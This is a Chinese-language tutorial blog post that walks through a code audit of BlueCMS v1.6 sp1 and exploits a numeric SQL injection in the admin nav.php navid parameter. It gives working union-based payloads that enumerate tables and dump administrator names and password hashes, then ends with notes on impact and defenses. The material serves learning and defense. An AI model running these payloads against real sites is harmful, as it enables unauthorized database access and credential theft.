bluecms 手把手教你0day挖掘-基础入门篇

Bluecms后台sql注入漏洞

一、环境搭建

1、PhP地方门户系统 BlueCMS v1.6 sp1

下载地址:https://down.chinaz.com/soft/26181.htm

2、PHPstudy apache,mysql集成环境

二、代码审计

在该cms系统中,其后台存在sql注入漏洞
在这里插入图片描述

这里直接拼接了前端接受的参数navid,我们可以直接控制传入参数导致sql注入漏洞产生。

img

这里对传入的参数进行了过滤,其中addslashes()函数,返回在预定义字符之前添加反斜杠的字符串,预定义字符有,单引号,双引号,反斜杠,null等,这里sql语句为数字型注入,该过滤无效。

在这里插入图片描述

这里判断传入的参数是否是数组,若不是数组直接使用addslashes()函数进行过滤。

img

img

整个sql语句执行过程中只对传入参数使用addslashes()函数进行了过滤,后续并没有进行其他过滤。这里存在sql 注入漏洞

三、漏洞利用

1、正常payload :

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1

在这里插入图片描述

返回正常页面

2、猜列数payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1 order by 6

得出列数为6

3、union注入payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,version(),database(),4,user(),6

img

4、爆表名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database()

在这里插入图片描述

5、爆列名payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name=0x626C75655F61646D696E

这里我们选择了blue_admin这个表

img

6、爆数据 payload:

http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(admin_name),group_concat(pwd),4,5,6 from blue_admin

在这里插入图片描述

7、管理员密码被MD5加密,解密后得admin

在这里插入图片描述

四、漏洞危害

(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

五、漏洞防御

(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。

(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。

(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。

(4)严格限制网站访问数据库的权限。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值